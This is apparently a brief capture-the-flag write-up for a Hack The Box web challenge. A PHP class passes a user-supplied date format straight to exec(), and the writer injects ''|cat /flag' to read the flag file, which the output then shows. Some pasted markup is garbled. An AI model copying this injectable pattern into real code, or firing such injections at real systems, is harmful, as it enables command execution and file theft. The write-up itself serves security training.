

```
1 <?php
2 class TimeModel
3 {
4     public function __construct($format)
5     {
6         $this->command = "date '+' . $format . "' 2>81";
7     }
8
9     public function getTime()
10    {
11        $time = exec($this->command);
12        $res = isset($time) ? $time : '?';
13        return $res;
14    }
15 }
```

```
public function view($view, $data = [])
{
    extract($data);
    include __DIR__."/views/${view}.php";
    exit;
}
```

```

17 <link href="/assets/tealight.min.css" />
18 <link rel="stylesheet" href="/static/main.css" />
19 </head>
20 <body>
21 <nav class="navbar navbar-dark bg-primary navbar-expand-lg mb-4">
22   <div class="collapse navbar-collapse" id="navbarSupportedContent">
23     <ul class="navbar-nav">
24       <li class="nav-item">
25         <a class="nav-link" href="/?format=Y-Y-ta-td">
26           What's the date? <span class="sr-only">
27             (current)
28           </span>
29         </a>
30       </li>
31     </ul>
32 </div>
33 <div class="jumbotron vertical-center">
34   <div class="container">
35     <div class="container">
36       <h1 class="jumbotron-heading">
37         <span class="text-muted">
38           It's
39         </span>
40         <span class="text-muted">
41           </span>
42       </h1>
43     </div>
44   </div>
45 </body>
46 <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="
sha384-Jg6eEPq6c/Vg1GSi1ZjBytBYtIo/S&format=Y-Y-ta-td" crossorigin="
anonymous"></script>
47 <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js"
integrity="sha384-QR&format=Y-Y-ta-td" crossorigin="anonymous"></script>
48 <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js"
integrity="sha384-PfP9&format=Y-Y-ta-td" crossorigin="anonymous"></script>
49 </html>

```

Lets just do a single quote follow by a pipe so that we can chain the commands of formatting and our cat command

'|cat /flag' or url encoded would be %27|cat%20/flag%27 -> viola that is the case

```
15 <link rel="icon" href="/assets/favicon.png" />
16 <link rel="stylesheet" href="/static/main.css" />
17 </head>
18 <body>
19 <nav class="navbar navbar-dark bg-primary navbar-expand-lg mb-4">
20 <a class="navbar-brand mb-0" href="?format=%H:%M:%S">
21   [] What's the time?
22 </a>
23 <div class="collapse navbar-collapse" id="navbarSupportedContent">
24 <ul class="navbar-nav">
25 <li class="nav-item">
26 <a class="nav-link" href="?format=%Y-%m-%d">
27   [] What's the date? <span class="sr-only">
28     (current)
29 </span>
30 </a>
31 </li>
32 </ul>
33 </div>
34 </nav>
35 <div class="jumbotron vertical-center">
36 <div class="container">
37 <div class="container">
38 <h1 class="jumbotron-heading">
39 ><span class='text-muted'>
40   It's
41   HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}<span class='text-muted'>
42   ,
43 </span>
44 </h1>
45 </div>
46 </div>
47 </div>
48 </body>
49 <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="
50 sha384-J66a489bLE2+poT4WnyKhvSvZF5SrPo01EjwBvKU7imGFAV0wwj1lyYfoRSJoZ+n" crossorigin="
51 anonymous">
52 </script>
53 <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js"
54 integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlV6IyOy5n3zV9zTtmI3UksdQRvvoxMfooAo"
55 crossorigin="anonymous">
56 </script>
57 <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js"
58 integrity="sha384-wfSDF2E50Y2D1uUdj003uMBJnj uUD4Ih7YwaYd1qfktj0Uod8GCExl30g8i fwb6"
59 crossorigin="anonymous">
60 </script>
61 </html>
```

